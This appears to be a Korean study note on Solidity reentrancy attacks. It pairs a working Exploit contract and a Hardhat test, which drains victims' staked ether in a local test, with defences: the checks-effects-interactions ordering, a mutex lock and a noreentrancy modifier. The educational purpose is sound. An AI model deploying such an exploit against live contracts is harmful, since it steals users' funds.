Todo :
1. Reentrancy Attack 방법
2. Reentrancy Attack 결과 (테스트)
3. 방어 방법
참고
* balance = 블록체인 네트워크에서 관리하는 잔액
* balanceOf = 해당 컨트랙트 내의 잔액
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
interface INativeBank {
function withdraw() external;
}
contract Exploit {
INativeBank nb;
constructor(INativeBank _nb) {
nb = _nb;
}
fallback() external payable {
if(address(nb).balance >= 1 * 10 ** 18) {
nb.withdraw();
}
}
function exploit() external payable {
(bool success,) = address(nb).call{value:msg.value}("");
require(success, "failed to staking");
nb.withdraw();
}
}
→exploit() 실행
→ nb로 이더 전송 (call)
⇒ (NB) receive(), 혹은 reveive가 없는 경우 fallback() 실행.
⇒ (NB) receive() 함수 실행
→ 이더 staking 성공
→ nb에게 withdraw()로 출금 요청
⇒ (NB) 아까 staking 했으니 msg.sender (=exploit 호출자) 잔고 있음
⇒ (NB) 잔고 조건 통과, 호출자에게 이더 전송 (call)
→ receive(), 혹은 reveive가 없는 경우 fallback() 실행
→ fallback() 함수 실행
→ nb의 잔고 (다른 사람의 staking 값도 있으니) 존재 확인
→ 다시 nb에게 withdraw()로 출금 요청
⇒ (NB) msg.sender (=exploit 호출자) 잔고 있음
(아직 잔고 0으로 줄이기 전에 제어권이 상대에게 넘어갔으니)
⇒ (NB) 잔고 조건 통과, 호출자에게 이더 전송 (call)
→ fallback() 함수 실행
→ nb의 잔고 (다른 사람의 staking 값도 있으니) 존재 확인
→ 다시 nb에게 withdraw()로 출금 요청
(반복)
.
.
.
= "reentrancy Attack"
즉, 출금 후 잔고가 줄어들기 전에 다시 출금단계에 진입해서
은행 잔고를 전부 털어오는 것이 재진입 공격이다.
describe("NativeBank", () => {
...
...
//자주 쓰는 기능 구현
const unitParser = (amount: string) =>
hre.ethers.parseUnits(amount, DECIMALS);
const unitFormatter = (amount: bigint) =>
hre.ethers.formatUnits(amount, DECIMALS);
it("exploit", async () => {
const victim1 = signers[1];
const victim2 = signers[2];
const hacker = signers[3];
const exploitC = await hre.ethers.deployContract(
"Exploit",
[await nativeBankC.getAddress()],
hacker,
);
const hcAddr = await exploitC.getAddress();
const stakingAmount = unitParser("1");
const v1Tx = {
from: victim1.address,
to: await nativeBankC.getAddress(),
value: stakingAmount,
};
const v2Tx = {
from: victim2.address,
to: await nativeBankC.getAddress(),
value: stakingAmount,
};
await victim1.sendTransaction(v1Tx);
await victim2.sendTransaction(v2Tx);
const getBalance = async (address: string) =>
unitFormatter(
await hre.ethers.provider.getBalance(address),
//블록체인 네트워크에서 관리하는 잔액확인
);
console.log(await getBalance(hcAddr)); //공격 전
await exploitC.exploit({ value: stakingAmount });
console.log(await getBalance(hcAddr)); //공격 후
});
});
❯ npx hardhat test test/NativeBank.ts ─╯
NativeBank
1000000000000000000n
1000000000000000000n
✔ Should send native token to contract
✔ Should withdraw all the tokens
0.0 //공격 전 (1이더 넣음, 잔고 0원)
3.0 //공격 후 (1이더 출금 + 공격으로 victim1,2가 staking 해둔 2이더까지 가져와 총 3이더가 됨
✔ exploit
3 passing (2s)
공격 전에는 1이더를 넣어서 잔고가 0원이지만,
공격 후에는 1이더 출금 + 공격으로 얻은 2이더까지 총 3이더가 된 것을 볼 수 있다. (victim1,2가 각각 1이더씩 staking 해둠)
보안 방법들 참고 :
Checks Effects Interactions
제어 흐름을 외부 개체에게 넘겨주게 될 때 (외부 함수 호출, 이더 전송 등) 가능한 조건들을 검사하고, 컨트랙트 내부에서 실행 가능한 것을 적용하고, 마지막에 외부 주소를 호출하는 것
(Checks, Effects, Interactions 순서)
+)..
자바 공부할 때 교착상태의 해결 방법 중 하나로 잠금 순서를 변경하는 방법을 보았었는데, 뭔가 그 방식과 유사하다는 생각이 들었다
교착상태(deadlock) - 각각의 스레드가 동일한 자원을 사용해야 할 때, 자원에 접근하기 위해 대기하느라 진행되지 못한 채 중단된 것.
스레드1,2가 자원A,B를 사용하려고 하는 상황이 있다고 하자.
스레드1은 A→B, 스레드2는 B→A의 순서로 자원을 가져간다.
하지만 스레드1은 A, 스레드2는 B을 각자 들고 있어서 필요한 다른 자원을 갖지 못하고 멈춰버린다.
이 때 두 스레드의 자원 획득 순서를 같게 (ex. A→B로 통일) 해주면
A를 가져올 때 둘 중 하나는 이미 가져갔으니 다른 스레드가 기다리고, 결국 둘 다 일을 진행할 수 있게 됨.
function withdraw() external{
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "insufficient balance");
balanceOf[msg.sender] = 0; //순서 중요
(bool success,) = msg.sender.call{value:balance}("");
require(success, "failed to send native token");
}
이렇게 바꾸면 잔고를 먼저 없애고 call(호출자에게 이더 전송)이 실행되므로, 해커가 fallback() 함수로 다시 nb에게 withdraw()를 요청해도 해커의 잔고가 이미 0으로 줄어서 출금 시도가 실패한다.
Error: VM Exception while processing transaction: reverted with reason string 'failed to send native token'
잔고 부족 > fallback() 실행 불가 > call 실패 > 'failed to send native token' 오류
의 과정으로 해당 오류가 나온 것 같다.
("insufficient balance" 오류가 생길 줄 알았다....)
Mutex(뮤텍스)란? = 상호 배제(Mutual Exclusion)의 약자
참고 : 뮤텍스(Mutex)
개념이 비슷하더니 스레드에서도 쓰이는 용어인듯 하다
contract NativeBank {
mapping(address => uint256) public balanceOf;
bool lock;
function withdraw() external{
require(!lock, "is now working on");
lock = true;
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "insufficient balance");
balanceOf[msg.sender] = 0; //순서 중요
(bool success,) = msg.sender.call{value:balance}("");
require(success, "failed to send native token");
lock = false;
}
처음 출금 시 lock = false
→ require 조건 true
→ lock = true 변경
→ 중간에 call로 인해 호출된 fallback함수에서 다시 출금 시도
→ require 조건 false로 fallback 및 call 실패
Error: VM Exception while processing transaction: reverted with reason string 'failed to send native token'
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
contract NativeBank {
mapping(address => uint256) public balanceOf;
bool lock;
modifier noreentrancy() {
require(!lock, "is now working on");
lock = true;
_;
lock = false;
}
function withdraw() external noreentrancy {
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "insufficient balance");
balanceOf[msg.sender] = 0; //순서 중요
(bool success,) = msg.sender.call{value:balance}("");
require(success, "failed to send native token");
}
receive() external payable {
balanceOf[msg.sender] += msg.value; //tx value
}
}
2번과 동일한 코드를 modifier를 사용해서 넣어주면 된다.
(실제로 이런 방식 사용)
Error: VM Exception while processing transaction: reverted with reason string 'failed to send native token' (똑같은 결과)
참고 :
여기까지를 끝으로 보안 관련 내용은 끝